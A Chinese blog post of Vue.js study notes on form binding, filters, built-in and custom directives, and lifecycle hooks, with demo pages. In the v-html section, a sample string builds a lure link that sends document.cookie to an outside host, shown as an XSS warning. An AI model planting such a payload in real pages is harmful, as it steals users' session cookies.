Vue学习笔记(三)

本文详细介绍了Vue.js中的核心概念,包括v-model的使用,收集表单数据,过滤器,内置指令如v-text、v-html、v-cloak、v-once和v-pre,以及自定义指令的创建。同时,探讨了Vue实例的生命周期,包括各个阶段的回调函数及其应用场景。此外,还强调了在不同生命周期阶段进行特定操作的最佳实践,如初始化数据请求、资源释放等。
摘要由CSDN通过智能技术生成

点击跳转:Vue学习(一)

点击跳转:Vue学习(二)

点击跳转:Vue学习(四)

点击跳转:Vue学习(五)

点击跳转:Vue学习(六)

点击跳转:Vue学习(七)

点击跳转:Vue学习(八)

Vue核心(续)

2.15、收集表单数据 v-model详解

收集表单数据:
若:<input type="text"/>,则v-model默认收集的是value值,用户输入的就是value值。

​ 若:<input type="password"/>,则v-model默认收集的是value值,用户输入的就是value值。

​ 若:<input type="radio"/>,则v-model默认收集的是value值,因为此类型无法输入内容,则无法

​ 通过输入得到value值,所以要给标签手动添加value值

​ 若:<input type="checkbox"/>

​ 1.没有配置input的value属性,那么默认读取的的就是checked是否被勾选(勾选 or 未勾选,是布尔值)

​ 2.配置input的value属性:

​ (1)v-model的初始值是非数组,那么a收集的就是checked(勾选 or 未勾选,是布尔值)

​ (2)v-model的初始值是数组,那么收集的的就是value组成的数组

​ 备注:v-model的三个修饰符:

lazy失去焦点再收集数据

number输入字符串转为有效的数字(类型)

trim:输入首尾空格过滤

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>收集表单数据</title>
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 准备好一个容器-->
        <div id="root">
            <form @submit.prevent="demo">
                账号:<input type="text" v-model.trim="userInfo.account">
                <br/><br/>
                密码:<input type="password" v-model="userInfo.password"> <br/><br/>
                年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
                //v-model默认收集的是value值,用户输入的就是value值。
                性别:
                //  因为此类型无法输入内容,则无法通过输入得到value值,所以要给标签手动添加value值。
                男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> 
                <br/><br/>
                爱好:
                学习<input type="checkbox" v-model="userInfo.hobby" value="study">
                打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
                吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
                <br/><br/>
                所属校区
                //如果是select,则value与v-model绑定的city属性的初始值相同的为初始默认
                值,如果city初始值为空,则默认为第一个。
                <select v-model="userInfo.city">
                    <option value="">请选择校区</option>
                    <option value="beijing">北京</option>
                    <option value="shanghai">上海</option>
                    <option value="shenzhen">深圳</option>
                    <option value="wuhan">武汉</option>
                </select>
                <br/><br/>
                其他信息:
                <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
                <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
                <button>提交</button>
            </form>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
            data:{
                userInfo:{
                    account:'',
                    password:'',
                    age:18,
                    sex:'female',
                    hobby:[],
                    //v-model的初始值是数组,那么收集的的就是value组成的数组
                    city:'beijing',
                    other:'',
                    agree:''
                }
            },
            methods: {
                demo(){
                    console.log(JSON.stringify(this.userInfo))
                }
            }
        })
    </script>
</html>

2.16、过滤器(filter)

过滤器:
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
2.使用过滤器:{{ xxx | 过滤器名}} v-bind:属性 = "xxx | 过滤器名"
备注:
1.过滤器也可以接收额外参数、多个过滤器也可以串联
2.并没有改变原本的数据, 是产生新的对应的数据
3.不是必须的属性,完全可以用methods和computed实现下面代码中的过滤功能
4.当全局过滤器和局部过滤器重名时,会采用局部过滤器。

<!DOCTYPE html>
<html>

    <head>
        <meta charset="UTF-8" />
        <title>过滤器</title>
        <script type="text/javascript" src="../js/vue.js"></script>
        <!-- <script type="text/javascript" src="../js/dayjs.min.js"></script> -->
        <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>

    </head>

    <body>
        <!-- 准备好一个容器-->
        <div id="root">
            <h2>显示格式化后的时间</h2>
            <!-- 计算属性实现 -->
            <h3>计算属性实现:{{fmtTime}}</h3>
            <!-- methods实现 -->
            <h3>methods实现:{{getFmtTime()}}</h3>
            <!-- 过滤器实现 -->
            <h3>过滤器实现:{{time | timeFormater}}</h3> //将time当参数传给timeFormater
            <!-- 过滤器实现(传参) -->
            <h3>过滤器实现(传参):{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
            <h3 :x="msg | mySlice">{{msg}}</h3>
        </div>

        <div id="root2">
            <h2>{{msg | mySlice}}</h2>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false
        //全局过滤器,必须在new Vue({})之前
        Vue.filter('mySlice', function (value) {
            return value.slice(0, 4)
        })

        new Vue({
            el: '#root',
            data: {
                time: 1621561377603, //时间戳
                msg: '你好,尚硅谷'
            },
            computed: {
                fmtTime() {
                    return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
                }
            },
            methods: {
                getFmtTime() {
                    return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
                }
            },
            // filters: {
            // 	timeFormater(value) {
            // 		return dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')

            // 	}
            // }

            //局部过滤器
            filters: {
                //如果不传参数,则使用默认参数'YYYY年MM月DD日 HH:mm:ss',如果传参数,则使用
                //传入的参数'YYYY_MM_DD'
                timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
                    // console.log('@',value)
                    return dayjs(value).format(str)
                }
            }
        })

        new Vue({
            el: '#root2',
            data: {
                msg: 'hello,atguigu!'
            }
        })
    </script>
</html>

2.17、内置指令

1、v-text 指令

我们学过的指令:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
v-text指令:
1.作用:向其所在的节点中渲染文本内容放入标签则也会被当成文本解析
2.与插值语法的区别:v-text会替换掉节点中的内容,你原来的内容会被代替,
无法与原来的内容一起出现,{{xx}}则可以。

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-text指令</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>

    <body>
        <!-- 准备好一个容器-->
        <div id="root">
            <div>你好,{{name}}</div>        //  你好,尚硅谷
            <div v-text="name">你好,</div> //   尚硅谷
            <div v-text="str"></div>       //   <h3>你好啊</h3>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el: '#root',
            data: {
                name: '尚硅谷',
                str: '<h3>你好啊!</h3>'
            }
        })
    </script>
</html>
2、v-html 指令

前置知识:cookie:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。 更新元素的 innerHTML。注意:内容
按普通 HTML 插入 , 不会作为 Vue 模板进行编译。如果试图使用 v-html 组合模板,可
以重新考虑是否通过使用组件来替代。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容{{xx}}则不会。
(2).v-html可以识别html结构,与v-text不同。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-html指令</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 准备好一个容器-->
        <div id="root">
            <div>你好,{{name}}</div>
            <div v-html="str"></div>
            <div v-html="str2"></div>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el: '#root',
            data: {
                name: '尚硅谷',
                str: '<h3>你好啊!</h3>',
                str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
            }
        })
    </script>
</html>
3、v-cloack指令

v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出模板{{xxx}}的问题

script引入的是我自制的server,作用是5s后script标签加载成功,注意script标签的的引入位置,是先执行html模板,5s后渲染页面{{name}}变为尚硅谷,想让{{name}}在5s内隐藏,不显示在页面中,script标签加载成功后直接出现尚硅谷,用v-cloak。

<!DOCTYPE html>
<html>

    <head>
        <meta charset="UTF-8" />
        <title>v-cloak指令</title>
        <style>
            [v-cloak] {
                display: none;
            }
        </style>
        <!-- 引入Vue -->
    </head>

    <body>
        <div id="root">
            <h2 v-cloak>{{name}}</h2>
        </div>
        <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    </body>

    <script type="text/javascript">
        console.log(1)
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
        new Vue({
            el: '#root',
            data: {
                name: '尚硅谷'
            }
        })
    </script>
</html>
4、v-once指令

v-once指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-once指令</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 准备好一个容器-->
        <div id="root">
            <h2 v-once>初始化的n值是:{{n}}</h2>
            <h2>当前的n值是:{{n}}</h2>
            <button @click="n++">点我n+1</button>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                n:1
            }
        })
    </script>
</html>
5、v-pre指令

用于vue性能优化

v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-pre指令</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 准备好一个容器-->
        <div id="root">
            <h2 v-pre>Vue其实很简单</h2>
            <h2 >当前的n值是:{{n}}</h2>
            <button @click="n++">点我n+1</button>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                n:1
            }
        })
    </script>
</html>

2.18、自定义指令

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
自定义指令总结:

​ 一、定义语法:
​ (1).局部指令:
​ new Vue({ new Vue({
​ directives:{指令名:配置对象} 或 directives{指令名:回调函数}
​ }) })
​ (2).全局指令:
​ Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

​ 二、配置对象中常用的3个回调:
​ (1).bind指令与元素成功绑定时调用。
​ (2).inserted:指令所在元素被插入页面时调用。
​ (3).update:指令所在模板结构被重新解析时调用。

​ 三、备注:
​ 1.指令定义不加v-,但使用时要加v-;
​ 2.指令名如果是多个单词,要使用kebab-case命名方式(就是使用‘-’符号),别忘了加"",不要用camelCase命名。
​ 3.所有指令相关的this都是window

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>自定义指令</title>
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 准备好一个容器-->
        <div id="root">
            <h2>{{name}}</h2>
            <h2>当前的n值是:<span v-text="n"></span> </h2>
            <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
            <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
            <button @click="n++">点我n+1</button>
            <hr />
            <input type="text" v-fbind:value="n">
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false

        //定义全局指令
        /* Vue.directive('fbind',{
		//指令与元素成功绑定时(一上来)
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	})
	Vue.directive('big',function(element, binding) { //两个参数:当前DOM元素(span),本次绑定的所有信息
				console.log(element, binding)
				// console.log('big', this) 
				//注意此处的this是window
				element.innerText = binding.value * 10
			},)
 */
        new Vue({
            el: '#root',
            data: {
                name: '尚硅谷',
                n: 1
            },
            directives: {

                //指令名如果是多个单词,别忘了加"",方法内部放的是"key",value值,大部分情况""可省略,但加了-之后引号必须带。
                // 全写是: 'big-number':function(element,binding){} 
                /* 'big-number'(element,binding){
				// console.log('big')
				element.innerText = binding.value * 10
			}, */

                // big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
                big(element, binding) { //两个参数:当前DOM元素(span),本次绑定的所有信息
                    console.log(element, binding)
                    // console.log('big', this) 
                    //注意此处的this是window
                    element.innerText = binding.value * 10
                },
                fbind: {
                    //指令与元素成功绑定时(一上来)调用
                    bind(element, binding) {//两个参数:当前DOM元素(input),本次绑定的所有信息
                        element.value = binding.value
                    },
                    //指令所在元素被插入页面时调用
                    inserted(element, binding) {
                        element.focus()
                        // input输入框自动获取焦点,这句代码必须放在将input放入页面的后面
                    },
                    //指令所在的模板被重新解析时调用
                    update(element, binding) {
                        element.value = binding.value
                        element.focus()
                    }
                }
            }
        })

    </script>

</html>

2.18、生命周期

1、引出生命周期

下方代码如果将定时器放入methods会出错

生命周期:
1.又名:生命周期回调函数、生命周期函数、生命周期钩子
2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
4.生命周期函数中的this指向是vm 或 组件实例对象。这意味着你不能使用箭头函数来定
义一个生命周期方法 (例如 created: () => this.fetchTodos())。

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>引出生命周期</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>

    <body>				
        <!-- 准备好一个容器-->
        <div id="root">
            <h2 :style="{opacity:opacity}">欢迎学习Vue</h2>
            <button @click="opacity = 1">透明度设置为1</button>
            <button @click="stop">点我停止变换</button>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        const vm = new Vue({
            el: '#root',
            data: {
                opacity: 1
            },
            methods: {
                stop() {
                    this.$destroy()
                }
            },
            //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted(挂载),只是初始
            //化的时候调用了一次,后续数据更改重新解析模板时不会再次调用
            mounted() {
                console.log('mounted', this)
                this.timer = setInterval(() => {
                    // 这里箭头函数无this,自动寻找上下文this,找到了mounted()的this,这个this指向vm
                    console.log('setInterval')
                    this.opacity -= 0.01
                    if (this.opacity <= 0) this.opacity = 1
                }, 16)
            },
            beforeDestroy() {
                console.log('vm即将被销毁')
                clearInterval(this.timer)
                // 清除定时器
            },
        })

        //通过外部的定时器实现(不推荐)
        // setInterval(() => {
        // 	vm.opacity -= 0.01
        // 	if (vm.opacity <= 0) { vm.opacity = 1 }
        // }, 16)
    </script>
</html>
2、分析生命周期
  1. 创建
    • beforeCreate(创建之前):一切还未开始,此时vm中没有data和methods
    • created(创建完毕):数据监测、数据代理创建完成,vm有data和methods
  2. 挂载
    • beforeMount(挂载之前):页面呈现的还未解析的DOM结构
    • mounted(挂载完成):页面呈现的已经解析的DOM结构
  3. 更新
    • beforeUpdate(更新之前):数据是新的。但页面是旧的
    • updated(更新完成):数据和页面都是新的
  4. 销毁
    • beforeDestroy(销毁之前):data、methods、指令都可用状态,进行收尾,并且**此阶段对数据的修改不会触发数据的更新,**即关闭该关闭的,交代后事
    • destroyed(销毁完成):销毁完成

在这里插入图片描述

注意:beforeMount中的第二点,“最终都不奏效”,是因为你这一步更改的内容,都会被下图这下一步所覆盖

在这里插入图片描述

生命周期的流程,配合上方图片使用,最好把代码依次解开注释运行一遍

<!DOCTYPE html>
<html>

    <head>
        <meta charset="UTF-8" />
        <title>分析生命周期</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>

    <body>
        <!-- 准备好一个容器-->
        <div id="root" :x="n">
            <h2 v-text="n"></h2>
            <h2>当前的n值是:{{n}}</h2>
            <button @click="add">点我n+1</button>
            <button @click="bye">点我销毁vm</button>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        const vm = new Vue({
            el: '#root',
            // template: `
            // 	<div>
            // 		<h2>当前的n值是:{{n}}</h2>
            // 		<button @click="add">点我n+1</button>
            // 	</div>
            // `,
            //使用template模板,容器内就不用放入内容了,不过template模板解析的时候会将外面的root容器给覆盖掉。
            // 而且template模板只能有一个根元素,所以必须用div 将h2与button包裹起来,否则报错
            data: {
                n: 1
            },
            methods: {
                add() {
                    console.log('add')
                    this.n++
                },
                bye() {
                    console.log('bye')
                    this.$destroy()
                    // 调用销毁函数,但之前的工作成果还在,只是以后不能管理了
                }
            },
            watch: {
                n() {
                    console.log('n变了')
                }
            },
            beforeCreate() { //看图:这里是指数据代理和数据监测创建之前,不是vm
                console.log('beforeCreate')
                // console.log(this);
                // debugger
                // 此时打开控制台可以看到data中无数据,无methods方法
            },
            created() {
                console.log('created')
                // console.log(this);
                // debugger
                // 此时打开控制台可以看到data中有数据,有add,bye方法
            },
            beforeMount() {
                console.log('beforeMount')
                // console.log(this);
                // debugger
                // 元素都加载完成(未经编译),但还没有挂载上去,HTML的body结构里呈现的依然是模板
                // 在这里面操作DOM白操作,最终会被虚拟dom转换成的真实dom覆盖掉
            },
            mounted() {
                console.log('mounted')
                // console.log(this);
                // debugger
                // 元素都加载完成(编译完成),已经挂载上去了,HTML的body结构里呈现的你想让他呈现的样子
                // 在这里面操作DOM有效,但不推荐
            },
            beforeUpdate() {
                console.log('beforeUpdate')
                // console.log(this.n);
                // debugger
                // 更新数据时调用,数据为新的,但页面还是旧的,尚未更新
            },
            updated() {
                console.log('updated')
                // console.log(this.n);
                // debugger
                // 数据为新的,但页面也是新的,数据与页面保持同步
            },
            beforeDestroy() {
                console.log('beforeDestroy')
                // console.log(this.n);
                // this.add()
                // debugger
                //销毁阶段触发
                // 点击销毁vm,能打印出n,调用了add方法,但页面不再更新,即到了这个阶段,
                //能够访问到数据,调用方法, 但所有对数据的修改不会再触发更新了。
                // 此时vm中的data methods 指令等都处于可用状态,马上要执行销毁过程,
                // 一般在此阶段:关闭定时器,取消订阅消息,解绑自定义事件等收尾操作

            },
            destroyed() {
                //销毁阶段触发
                console.log('destroyed')
            },
        })
        // vm.$mount("#root")
    </script>

</html>
3、生命周期总结

常用的生命周期钩子:
1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例
1.销毁后借助Vue开发者工具看不到任何信息。
2.销毁后自定义事件会失效,但原生DOM事件依然有效。
3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值